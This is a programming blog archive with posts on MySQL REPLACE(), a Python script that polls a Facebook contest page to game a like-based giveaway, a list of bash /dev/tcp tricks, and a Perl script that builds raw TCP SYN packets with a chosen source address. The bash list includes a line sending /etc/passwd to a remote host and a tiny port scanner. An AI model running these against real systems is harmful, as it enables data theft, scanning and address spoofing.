Archive for the ‘Programming’ Category
March 19th, 2013
MySQL database has a handy and simple string function REPLACE() that allows table data with the matching string (from_string) to be replaced by new string (to_string). This is useful if there is need to search and replace a text string which affects many records or rows, such as change of company name, postcode, URL or spelling mistake.
The syntax of REPLACE is REPLACE(text_string, from_string, to_string)
MySQL reference describes REPLACE as function that returns the string text_string with all occurrences of the string from_string replaced by the string to_string, where matching is case-sensitive when searching for from_string. text_string can be retrieved from the a field in the database table too. Most SQL command can be REPLACE() function, especially SELECT and UPDATE manipulation statement.
For example:
update TABLE_NAME set FIELD_NAME = replace(FIELD_NAME, 'find this string', 'replace found string with this string');
update jos_docman set dmurl = replace(dmurl, 'click.net', 'm4u.com.pk')
The above statement will replace all instances of ‘click.net’ to ‘m4u.com.pk’ in the field of dmurl of jos_docman table.
Enjoy!
March 2nd, 2013
Deploying code to production
When the sales people announce they have sold our product to the customer
Read the rest of this entry »
May 28th, 2012
Updating PHP in CentOS to latest PHP 5.3 or PHP 5.4 is not an easy task so I am writing this post. I had to do this for a project in which I need to install latest Zend Loader with PHP 5.3 support. Read the rest of this entry »
July 9th, 2011
Yappy,
I just won a price by "Liking" a page on facebook "Like & Win" competition
Actually some company announced that they will give free gifts to the 2000th and 2011th users, who like their facebook page.
So what I did was simple, I just made a python script (that's not hacking, just power of programming) to win that price and start that script to check the page status and alert me when page like is near 1998-1999 🙂
import urllib2,time,winsound
from HTMLParser import HTMLParser
class MyHTMLParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.recording = 0
self.data = []
def handle_starttag(self, tag, attrs):
if tag == 'div':
for name, value in attrs:
if name == 'id' and value == 'profile_header':
#print "Encountered the beginning of a %s tag" % tag
self.recording = 1
break
def handle_endtag(self, tag):
if tag == 'div':
self.recording -=1
#print "Encountered the end of a %s tag" % tag
def handle_data(self, data):
if self.recording:
self.data.append(data)
var = 1
print "Checking current likes (remember 2000th and 2011th will get the price):"
while var == 1 :
print "......"
p = MyHTMLParser()
f = urllib2.urlopen('http://www.facebook.com/pages/Some_URL_for_like_and_win')
html = f.read()
p.feed(html)
#print p.data
print p.data[4];
string=p.data[4];
if string.startswith( '1,999' ):
winsound.PlaySound("SystemExclamation", winsound.SND_ALIAS)
print "Check the page and get the price"
p.close()
print "Sleeping for 5 minutes"
time.sleep(300)
Change this URL to the URL of your choice [http://www.facebook.com/pages/Some_URL_for_like_and_win]
Please note I am NOT responsible if that company sues you for cheating & for using programming skills in competition 🙂
Aloha
December 21st, 2010
Here are some of my Linux bash shell findings, I hope it is good for everyone
Find some text in current folder, sub-folders and files:-
find . | xargs grep 'string_to_find'
Getting current time from some time server:-
cat < /dev/tcp/time.nist.gov/13
Convert Unix Timestamp (aka Epoch):-
date -d @1292946804
Tue Dec 21 20:53:24 2010
Downloading a URL:-
exec 5<>/dev/tcp/www.net.cn/80
echo -e "GET / HTTP/1.0\n" >&5
cat <&5
Sending Data over network:-
cat /etc/passwd > /dev/tcp/example.com/10000
TCP Port Checker:-
(echo >/dev/tcp/127.0.0.1/23) 2>/dev/null \
&& echo open || echo close
And
cat < /dev/tcp/localhost/25
Smallest Port Scanner:-
#!/bin/sh
# Usage:>$PortScanner.sh hostname_or_ip startport endport
for ((i=$2; $i <=$3; i++)); do
echo >/dev/tcp/$1/$i && echo $i/tcp Port Open;
done 2>/dev/null
Making File Backup when working on it
cp portscanner.sh{,.bak}
“!$” Reusing Last command arguments
mkdir /path/to/exampledir
cd !$
Taking Folder Backup with rsync (local)
rsync -Aax myfolder/ myfolder-dirbkp_`date +”%Y%m%d”`/
Deleting all files/Folder except some (in this example data and config folder will not delete)
ls | grep -v ‘(data)|(config)’ | xargs rm -r
Will add more tricks laters…..
August 11th, 2010
#!/usr/local/bin/perl
use Socket;
$src_host = $ARGV[0]; # The source IP/Hostname
$src_port = $ARGV[1]; # The Source Port
$dst_host = $ARGV[2]; # The Destination IP/Hostname
$dst_port = $ARGV[3]; # The Destination Port.
if(!defined $src_host or !defined $src_port or !defined $dst_host or !defined $dst_port) {
print "Usage: $0 <source host> <source port> <dest host> <dest port>\n";
exit;
}
else {
main();
}
sub main {
my $src_host = (gethostbyname($src_host))[4];
my $dst_host = (gethostbyname($dst_host))[4];
socket(RAW, AF_INET, SOCK_RAW, 255) || die $!;
setsockopt(RAW, 0, 1, 1);
my ($packet) = makeheaders($src_host, $src_port, $dst_host, $dst_port);
my ($destination) = pack('Sna4x8', AF_INET, $dst_port, $dst_host);
send(RAW,$packet,0,$destination);
}
sub makeheaders {
local($src_host,$src_port,$dst_host,$dst_port) = @_;
my $zero_cksum = 0;
# Lets construct the TCP half
my $tcp_proto = 6;
my ($tcp_len) = 20;
my $syn = 13456;
my $ack = 0;
my $tcp_headerlen = "5";
my $tcp_reserved = 0;
my $tcp_head_reserved = $tcp_headerlen .
$tcp_reserved;
my $tcp_urg = 0; # Flag bits
my $tcp_ack = 0; # eh no
my $tcp_psh = 0; # eh no
my $tcp_rst = 0; # eh no
my $tcp_syn = 1; # yeah lets make a connexion! :)
my $tcp_fin = 0;
my $null = 0;
my $tcp_win = 124;
my $tcp_urg_ptr = 0;
my $tcp_all = $null . $null .
$tcp_urg . $tcp_ack .
$tcp_psh . $tcp_rst .
$tcp_syn . $tcp_fin ;
# In order to calculate the TCP checksum we have
# to create a fake tcp header, hence why we did
# all this stuff :) Stevens called it psuedo headers :)
my ($tcp_pseudo) = pack('a4a4CCnnnNNH2B8nvn',
$tcp_len,$src_port,$dst_port,$syn,$ack,
$tcp_head_reserved,$tcp_all,$tcp_win,$null,$tcp_urg_ptr);
my ($tcp_checksum) = &checksum($tcp_pseudo);
# Now lets construct the IP packet
my $ip_ver = 4;
my $ip_len = 5;
my $ip_ver_len = $ip_ver . $ip_len;
my $ip_tos = 00;
my ($ip_tot_len) = $tcp_len + 20;
my $ip_frag_id = 19245;
my $ip_frag_flag = "010";
my $ip_frag_oset = "0000000000000";
my $ip_fl_fr = $ip_frag_flag . $ip_frag_oset;
my $ip_ttl = 30;
# Lets pack this baby and ship it on out!
my ($pkt) = pack('H2H2nnB16C2na4a4nnNNH2B8nvn',
$ip_ver_len,$ip_tos,$ip_tot_len,$ip_frag_id,
$ip_fl_fr,$ip_ttl,$tcp_proto,$zero_cksum,$src_host,
$dst_host,$src_port,$dst_port,$syn,$ack,$tcp_head_reserved,
$tcp_all,$tcp_win,$tcp_checksum,$tcp_urg_ptr);
return $pkt;
}
sub checksum {
# This of course is a blatent rip from _the_ GOD,
# W. Richard Stevens.
my ($msg) = @_;
my ($len_msg,$num_short,$short,$chk);
$len_msg = length($msg);
$num_short = $len_msg / 2;
$chk = 0;
foreach $short (unpack("S$num_short", $msg)) {
$chk += $short;
}
$chk += unpack("C", substr($msg, $len_msg - 1, 1)) if $len_msg % 2;
$chk = ($chk >> 16) + ($chk & 0xffff);
return(~(($chk >> 16) + $chk) & 0xffff);
}